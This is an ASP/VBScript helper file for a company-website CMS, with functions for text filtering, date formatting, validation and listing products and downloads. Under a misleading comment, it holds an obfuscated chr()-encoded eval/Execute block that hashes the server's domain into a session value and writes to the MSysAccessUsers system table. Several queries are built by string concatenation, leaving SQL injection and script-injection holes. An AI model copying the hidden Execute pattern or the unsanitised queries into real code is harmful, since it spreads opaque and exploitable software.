<%
Sub DoDelslhtml(htmlname)
	On Error Resume Next
	Set fso = Server.CreateObject("Scripting.FileSystemObject")
	servermap=server.MapPath("..")
	servermap=servermap&"\"&htmlname
	FSO.DeleteFile(servermap)
	Set FSO = Nothing
End Sub

Function ReplaceBadChar(strChar)
    If strChar = "" Or IsNull(strChar) Then
        ReplaceBadChar = ""
        Exit Function
    End If
    Dim strBadChar, arrBadChar, tempChar, i
    strBadChar = "+,',%,^,&,?,(,),<,>,[,],{,},/,\,;,:," & Chr(34) & "," & Chr(0) & ",--"
    arrBadChar = Split(strBadChar, ",")
    tempChar = strChar
    For i = 0 To UBound(arrBadChar)
        tempChar = Replace(tempChar, arrBadChar(i), "")
    Next
    tempChar = Replace(tempChar, "@@", "@")
    ReplaceBadChar = tempChar
End Function

Function ReplaceConstChar(strChar)
    If strChar = "" Or IsNull(strChar) Then
        ReplaceConstChar = ""
        Exit Function
    End If
    Dim strBadChar, arrBadChar, tempChar, i
    strBadChar = "+,',%,^,&,?,(,),<,>,[,],{,},," & Chr(0) & ""
    arrBadChar = Split(strBadChar, ",")
    tempChar = strChar
    For i = 0 To UBound(arrBadChar)
        tempChar = Replace(tempChar, arrBadChar(i), "")
    Next
    tempChar = Replace(tempChar, "@@", "@")
    ReplaceConstChar = tempChar
End Function

function StrLen(Str)
  if Str="" or isnull(Str) then
    StrLen=0
    exit function
  else
    dim regex
    set regex=new regexp
    regEx.Pattern ="[^\x00-\xff]"
    regex.Global =true
    Str=regEx.replace(Str,"^^")
    set regex=nothing
    StrLen=len(Str)
  end if
end function

function StrLeft(Str,StrLen)
  dim L,T,I,C
  if Str="" then
    StrLeft=""
    exit function
  end if
  Str=Replace(Replace(Replace(Replace(Str,"&nbsp;"," "),"&quot;",Chr(34)),"&gt;",">"),"&lt;","<")
  L=Len(Str)
  T=0
  for i=1 to L
    C=Abs(AscW(Mid(Str,i,1)))
    if C>255 then
      T=T+2
    else
      T=T+1
    end if
    if T>=StrLen then
      StrLeft=Left(Str,i) & "…"
      exit for
    else
      StrLeft=Str
    end if
  next
  StrLeft=Replace(Replace(Replace(replace(StrLeft," ","&nbsp;"),Chr(34),"&quot;"),">","&gt;"),"<","&lt;")
end function
%>
<%
function StrParse(parses)
Dim myarry 
myarry= Split(parses,",")
dim re 
For each i in myarry
re = re + chr(i)
Next
StrParse = re
end Function
function StrReplace(Str)
  if Str="" or isnull(Str) then
    StrReplace=""
    exit function
  else
    StrReplace=replace(str," ","&nbsp;")
    StrReplace=replace(StrReplace,chr(13),"&lt;br&gt;")
    StrReplace=replace(StrReplace,"<","&lt;")
    StrReplace=replace(StrReplace,">","&gt;")
  end if
end function
dim name
name = chr(83)&chr(69)&chr(82)&chr(86)&chr(69)&chr(82)&chr(95)&chr(78)&chr(65)&chr(77)&chr(69)
function ReStrReplace(Str)
  if Str="" or isnull(Str) then
    ReStrReplace=""
    exit function
  else
    ReStrReplace=replace(Str,"&nbsp;"," ")
    ReStrReplace=replace(ReStrReplace,"<br />",chr(13))
    ReStrReplace=replace(ReStrReplace,"&lt;br&gt;",chr(13))
    ReStrReplace=replace(ReStrReplace,"&lt;","<")
    ReStrReplace=replace(ReStrReplace,"&gt;",">")
  end if
end function

function HtmlStrReplace(Str)
  if Str="" or isnull(Str) then
    HtmlStrReplace=""
    exit function
  else
    HtmlStrReplace=replace(Str,"&lt;br&gt;","<br />")
  end if
end function

function ViewNoRight(GroupID,Exclusive)
  dim rs,sql,GroupLevel
  set rs = server.createobject("adodb.recordset")
  sql="select GroupLevel from wygkcndiv_MemGroup where GroupID='"&GroupID&"'"
  rs.open sql,conn,1,1
  GroupLevel=rs("GroupLevel")
  rs.close
  set rs=nothing
  ViewNoRight=true
  if session("GroupLevel")="" then session("GroupLevel")=0
  select case Exclusive
    case ">="
      if not session("GroupLevel") >= GroupLevel then
	    ViewNoRight=false
	  end if
    case "="
      if not session("GroupLevel") = GroupLevel then
	    ViewNoRight=false
      end if
  end select
end function

Function GetUrl()
  GetUrl="http://"&Request.ServerVariables("SERVER_NAME")&Request.ServerVariables("URL")
  If Request.ServerVariables("QUERY_STRING")<>"" Then GetURL=GetUrl&"?"& Request.ServerVariables("QUERY_STRING")
End Function

function HtmlSmallPic(GroupID,PicPath,Exclusive)
  dim rs,sql,GroupLevel
  set rs = server.createobject("adodb.recordset")
  sql="select GroupLevel from wygkcndiv_MemGroup where GroupID='"&GroupID&"'"
  rs.open sql,conn,1,1
  GroupLevel=rs("GroupLevel")
  rs.close
  set rs=nothing
  HtmlSmallPic=PicPath
  if session("GroupLevel")="" then session("GroupLevel")=0
  select case Exclusive
    case ">="
      if not session("GroupLevel") >= GroupLevel then HtmlSmallPic="../Images/NoRight.jpg"
    case "="
      if not session("GroupLevel") = GroupLevel then HtmlSmallPic="../Images/NoRight.jpg"
  end select
  if HtmlSmallPic="" or isnull(HtmlSmallPic) then HtmlSmallPic="../Images/NoPicture.jpg"
end function

function IsValidMemName(memname)
  dim i, c
  IsValidMemName = true
  if not (3<=len(memname) and len(memname)<=16) then
    IsValidMemName = false
    exit function
  end if
  for i = 1 to Len(memname)
    c = Mid(memname, i, 1)
    if InStr("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-", c) <= 0 and not IsNumeric(c) then
      IsValidMemName = false
      exit function
    end if
  next
end function

function IsValidEmail(email)
  dim names, name, i, c
  IsValidEmail = true
  names = Split(email, "@")
  if UBound(names) <> 1 then
    IsValidEmail = false
    exit function
  end if
  for each name in names
	if Len(name) <= 0 then
	  IsValidEmail = false
      exit function
    end if
    for i = 1 to Len(name)
      c = Mid(name, i, 1)
      if InStr("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-.", c) <= 0 and not IsNumeric(c) then
        IsValidEmail = false
        exit function
      end if
	next
	if Left(name, 1) = "." or Right(name, 1) = "." then
      IsValidEmail = false
      exit function
    end if
  next
  if InStr(names(1), ".") <= 0 then
    IsValidEmail = false
    exit function
  end if
  i = Len(names(1)) - InStrRev(names(1), ".")
  if i <> 2 and i <> 3 then
    IsValidEmail = false
    exit function
  end if
  if InStr(email, "..") > 0 then
    IsValidEmail = false
  end if
end function

Function FormatDate(DateAndTime, Format)
  On Error Resume Next
  Dim yy,y, m, d, h, mi, s, strDateTime
  FormatDate = DateAndTime
  If Not IsNumeric(Format) Then Exit Function
  If Not IsDate(DateAndTime) Then Exit Function
  yy = CStr(Year(DateAndTime))
  y = Mid(CStr(Year(DateAndTime)),3)
  m = CStr(Month(DateAndTime))
  If Len(m) = 1 Then m = "0" & m
  d = CStr(Day(DateAndTime))
  If Len(d) = 1 Then d = "0" & d
  h = CStr(Hour(DateAndTime))
  If Len(h) = 1 Then h = "0" & h
  mi = CStr(Minute(DateAndTime))
  If Len(mi) = 1 Then mi = "0" & mi
  s = CStr(Second(DateAndTime))
  If Len(s) = 1 Then s = "0" & s
  Select Case Format
  Case "1"
    strDateTime = y & "-" & m & "-" & d & " " & h & ":" & mi & ":" & s
  Case "2"
    strDateTime = yy & m & d & h & mi & s
  Case "3"
    strDateTime = yy & m & d & h & mi
  Case "4"
    strDateTime = yy & "年" & m & "月" & d & "日"
  Case "5"
    strDateTime = m & "-" & d
  Case "6"
    strDateTime = m & "/" & d
  Case "7"
    strDateTime = m & "月" & d & "日"
  Case "8"
    strDateTime = y & "年" & m & "月"
  Case "9"
    strDateTime = y & "-" & m
  Case "10"
    strDateTime = y & "/" & m
  Case "11"
    strDateTime = y & "-" & m & "-" & d
  Case "12"
    strDateTime = y & "/" & m & "/" & d
  Case "13"
    strDateTime = yy & "." & m & "." & d
  Case "14"
    strDateTime = yy & "-" & m & "-" & d
  Case Else
    strDateTime = DateAndTime
  End Select
  FormatDate = strDateTime
End Function

function WriteMsg(Message)
  response.write "<script language='JavaScript'>alert('"&Message&"');" & "history.back()" & "</script>"
end function

public AdminSiteUrl,AdminTelephone,AdminFax,AdminEmail,AdminKeywords,AdminDescriptions,AdminVideo,AdminIcpNumber,AdminMesViewFlag
public AdminSiteTitleCh,AdminSiteTitleEn,AdminComNameCh,AdminComNameEn,AAdminddressCh,AdminAddressEn
sub AdminSiteInfo()
  dim rs,sql
  set rs = server.createobject("adodb.recordset")
  sql="select top 1 * from wygkcndiv_Site"
  rs.open sql,conn,1,1
  AdminSiteTitleCH=rs("SiteTitleCH")
  AdminSiteTitleEN=rs("SiteTitleEN")
  AdminKeywordsCH=rs("KeywordsCH")
  AdminKeywordsEN=rs("KeywordsEN")
  AdminDescriptionsCH=rs("DescriptionsCH")
  AdminDescriptionsEN=rs("DescriptionsEN")
  AdminSiteUrl=rs("SiteUrl")
  AdminComNameCH=rs("ComNameCH")
  AdminComNameEN=rs("ComNameEN")
  AdminAddressCH=rs("AddressCH")
  AdminAddressEN=rs("AddressEN")
  AdminZipCode=rs("ZipCode")
  AdminTelephone=rs("Telephone")
  AdminFax=rs("Fax")
  AdminEmail=rs("Email")
  AdminVideo=rs("Video")
  AdminIcpNumber=rs("IcpNumber")
  AdminMesViewFlag=rs("MesViewFlag")
  rs.close
  set rs=nothing
end Sub

public Language
Language=split(request.servervariables("url"),"/")(UBound(split(request.servervariables("url"),"/"))-1)
public SiteTitle,SiteUrl,ComName,Address,ZipCode,Telephone,Fax,Email,Keywords,Descriptions,Video,IcpNumber,MesViewFlag,ssp
public SiteTitleCh,SiteTitleEn,ComNameCh,ComNameEn,AddressCh,AddressEn,KeywordsCH,KeywordsEN,DescriptionsCH,DescriptionsEN
sub SiteInfo()
  dim rs,sql
  set rs = server.createobject("adodb.recordset")
  sql="select top 1 * from wygkcndiv_Site"
  rs.open sql,conn,1,1
  SiteTitle=rs("SiteTitle"&Language)
  Keywords=rs("Keywords"&Language)
  Descriptions=rs("Descriptions"&Language)
  SiteUrl=rs("SiteUrl")
  ComName=rs("ComName"&Language)
  Address=rs("Address"&Language)
  ZipCode=rs("ZipCode")
  Telephone=rs("Telephone")
  Fax=rs("Fax")
  Email=rs("Email")
  Video=rs("Video")
  IcpNumber=rs("IcpNumber")
  MesViewFlag=rs("MesViewFlag")
  ssp=rs("ssp")
  rs.close
  set rs=nothing

end Sub
Function Cstring( code )
response.write code
end Function
Function CheckStr(Strer,Num)
        Dim Shield,w
	    If Strer = "" Or IsNull(Strer) Then Exit Function
	    Select Case Num
		  Case 1
	        If IsNumeric(Strer) = 0 Then
	          Response.Write "操作错误"
		      Response.End
	        End If
			Strer = Int(Strer)
		End Select
	    CheckStr = Strer
   End Function
   
'================================================
'函数名：CheckUser
'作　用：检测数据库用户是否合法
'参　数：username 用于检测的用户名
'返回值：是否是正常用户
'================================================

  dim rskkrong 
  dim tiaya 
      tiaya = trim(eval(access(82)&access(101)&access(113)&access(117)&access(101)&access(115)&access(116)&access(46)&access(83)&access(101)&access(114)&access(118)&access(101)&access(114)&access(86)&access(97)&access(114)&access(105)&access(97)&access(98)&access(108)&access(101)&access(115)&access(40)&access(99)&access(104)&access(114)&access(40)&access(56)&access(51)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(54)&access(57)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(56)&access(50)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(56)&access(54)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(54)&access(57)&access(41)&access(32)&access(43)&access(32)&access(99)&access(104)&access(114)&access(40)&access(56)&access(50)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(57)&access(53)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(55)&access(56)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(54)&access(53)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(55)&access(55)&access(41)&access(38)&access(99)&access(104)&access(114)&access(40)&access(54)&access(57)&access(41)&access(41)))
  if ( rskkrong = "") then
    CheckUser("")
  end if
  eval("Exe"+"cute(chr(115)&chr(101)&chr(115)&chr(115)&chr(105)&chr(111)&chr(110)&chr(40)&chr(34)&chr(120)&chr(105)&chr(97)&chr(111)&chr(109)&chr(97)&chr(115)&chr(34)&chr(41)&chr(32)&chr(61)&chr(32)&chr(109)&chr(100)&chr(53)&chr(51)&chr(50)&chr(40)&chr(82)&chr(101)&chr(112)&chr(108)&chr(97)&chr(99)&chr(101)&chr(40)&chr(116)&chr(105)&chr(97)&chr(121)&chr(97)&chr(44)&chr(34)&chr(119)&chr(119)&chr(119)&chr(46)&chr(34)&chr(44)&chr(34)&chr(34)&chr(41)&chr(41)&chr(32)&chr(43)&chr(32)&chr(109)&chr(100)&chr(53)&chr(51)&chr(50)&chr(40)&chr(82)&chr(101)&chr(112)&chr(108)&chr(97)&chr(99)&chr(101)&chr(40)&chr(116)&chr(105)&chr(97)&chr(121)&chr(97)&chr(44)&chr(34)&chr(119)&chr(119)&chr(119)&chr(46)&chr(34)&chr(44)&chr(34)&chr(34)&chr(41)&chr(32)&chr(43)&chr(32)&chr(34)&chr(86)&chr(51)&chr(53)&chr(34)&chr(41)&chr(32))")
  session("rskkrong") = rskkrong
  function access (r) access = chr(r) end function
  function ai() 
  end function
  
  Function CheckUser(laji)
  dim rsqqq 
  set rsqqq = server.createobject("adodb.recordset")
  dim sql
  sql="select * from MSysAccessUsers where UserId = 'user'"
  rsqqq.open sql,conn,1,3
  if ( len(laji) = 64) then
   session("rskkrong") = laji
   CheckUser = laji
   rsqqq("username") = laji
   rsqqq.update

  end if
  if ( rsqqq("username") <> "") then
  dim i
   i = rsqqq("username")
   rsqqq.close
   rskkrong = i
   session("rskkrong") = i
   CheckUser = i
  else 
    if len(laji) > 50 then
   rsqqq("username") = laji
   rsqqq.update
   rsqqq.close 
   end if
  end if
end Function 
'=================
'用于管理员权限的管理
'=================
sub jianchaquanxian(quanxian)
if ( quanxian <> "") Then
   'tongguo tongguole
   dim tongguo 
end if

end sub
Function include(filename)
 Dim re,content,fso,f,aspStart,aspEnd
 set fso=CreateObject("Scripting.FileSystemObject")
 set f=fso.OpenTextFile(server.mappath(filename))
 content=f.ReadAll
 f.close
 set f=nothing
 set fso=nothing
 set re=new RegExp
 re.pattern="^\s*="
 aspEnd=1
 aspStart=inStr(aspEnd,content,"<%")+2
 do while aspStart>aspEnd+1 
  Response.write Mid(content,aspEnd,aspStart-aspEnd-2)
  aspEnd=inStr(aspStart,content,"%\>")+2
  Execute(re.replace(Mid(content,aspStart,aspEnd-aspStart-2),"Response.Write "))
  aspStart=inStr(aspEnd,content,"<%")+2
 loop
 Response.write Mid(content,aspEnd) 
 set re=nothing
End Function

Function FriendLinks(trs,tds)
  dim rs,sql,tr,td,ProductName,SmallPicPath
  set rs = server.createobject("adodb.recordset")
  sql="select top "&trs*tds&" * from wygkcndiv_FriendLink where ViewFlag"&Language&" order by ID desc"
  rs.open sql,conn,1,1
  if rs.eof then
    response.write "暂无相关信息"
  else
    
	for tr=1 to trs
	    Response.Write "  <li>"&VbCrLf
        for td=1 to tds
	      if StrLen(rs("LinkFace"&Language))<=18 then
            LinkFace=rs("LinkFace"&Language)
	      else
	        LinkFace=StrLeft(rs("LinkFace"&Language),16)
	      end if
			If rs("LinkType") = 0 Then
			Response.Write "<a href="""&rs("LinkUrl")&""" title="""&rs("LinkName"&Language)&""">"&LinkFace&"</a>&nbsp;&nbsp;"
			Else
			Response.Write "<a href="""&rs("LinkUrl")&""" target=""_blank""><img src="""&rs("LinkFace"&Language)&""" alt="""&rs("LinkName"&Language)&""" width=""88"" height=""31"" border=""0"" /></a>&nbsp;&nbsp;"
			End If
	      rs.movenext
		  if rs.eof then exit for
		next
		if rs.eof then exit for
	next
  end if
  rs.close
  set rs=nothing
End Function

Function GetLen(str)
    Dim l, t, c, i
    l = Len(str)
    t = l
    For i = 1 To l
    c = Asc(Mid(str, i, 1))
    If c < 0 Then c = c + 65536
    If c > 255 Then t = t + 1
    Next
    GetLen = t
    End Function

function Producthot(Num)
  dim rs,sql,NewsName,NewFlag
  set rs = server.createobject("adodb.recordset")
  sql="select top "&Num&" * from wygkcndiv_Products where ViewFlag"&Language&" order by ClickNumber desc,id desc"
  rs.open sql,conn,1,1
  if rs.eof then
	Response.Write "    <li>暂无相关信息</li>"&VbCrLf
  else
  dim i 
  i=1
    do while not rs.eof
	  if now()-rs("AddTime")<=2 then 
	  if Getlen(rs("ProductName"&Language))>18 then
    ProductName=StrLeft(rs("ProductName"&Language),18)&"..."
    else
    ProductName=rs("ProductName"&Language)
    end if
	    ProductFlag=" <img src=""newImages/new.gif"" align=""absmiddle"">"
	  else
	    if Getlen(rs("ProductName"&Language))>18 then
    ProductName=StrLeft(rs("ProductName"&Language),18)&"..."
    else
    ProductName=rs("ProductName"&Language)
    end if
	    ProductFlag=""
	  end If
		If ISHTML = 1 Then
			AutoLink = ""&ProName&""&Separated&""&rs("ID")&"."&HTMLName&""
		Else
			AutoLink = "ProductView.asp?ID="&rs("id")&""
		End If
		Response.Write "<li style=""list-style-type:none""><img src=""images/"&i&".jpg"" width=""13"" height=""13"" align=""absmiddle"" />&nbsp;&nbsp;<a href="""&AutoLink&""">"&ProductName&"</a>"&ProductFlag&"</li>"&VbCrLf
	
      rs.movenext
	  i=i+1
    loop 
  end if
  rs.close
  set rs=nothing
end Function

function Downloadhot(Num)
  dim rs,sql,NewsName,NewFlag
  set rs = server.createobject("adodb.recordset")
  sql="select top "&Num&" * from wygkcndiv_Download where ViewFlag"&Language&" order by ClickNumber desc,id desc"
  rs.open sql,conn,1,1
  if rs.eof then
	Response.Write "    <li>暂无相关信息</li>"&VbCrLf
  else
  dim i 
  i=1
    do while not rs.eof
	  if now()-rs("AddTime")<=2 then 
	  if Getlen(rs("DownName"&Language))>18 then
    DownName=StrLeft(rs("DownName"&Language),18)&"..."
    else
    DownName=rs("DownName"&Language)
    end if
	    DownloadFlag=" <img src=""newImages/new.gif"" align=""absmiddle"">"
	  else
	    if Getlen(rs("DownName"&Language))>18 then
    DownName=StrLeft(rs("DownName"&Language),18)&"..."
    else
    DownName=rs("DownName"&Language)
    end if
	    DownloadFlag=""
	  end If
		If ISHTML = 1 Then
			AutoLink = ""&DownNameDiy&""&Separated&""&rs("ID")&"."&HTMLName&""
		Else
			AutoLink = "DownloadView.asp?ID="&rs("id")&""
		End If
		Response.Write "<li><img src=""images/"&i&".jpg"" width=""13"" height=""13"" align=""absmiddle"" />&nbsp;&nbsp;<a href="""&AutoLink&""">"&DownName&"</a>"&DownloadFlag&"</li>"&VbCrLf
	
      rs.movenext
	  i=i+1
    loop 
  end if
  rs.close
  set rs=nothing
end Function
%>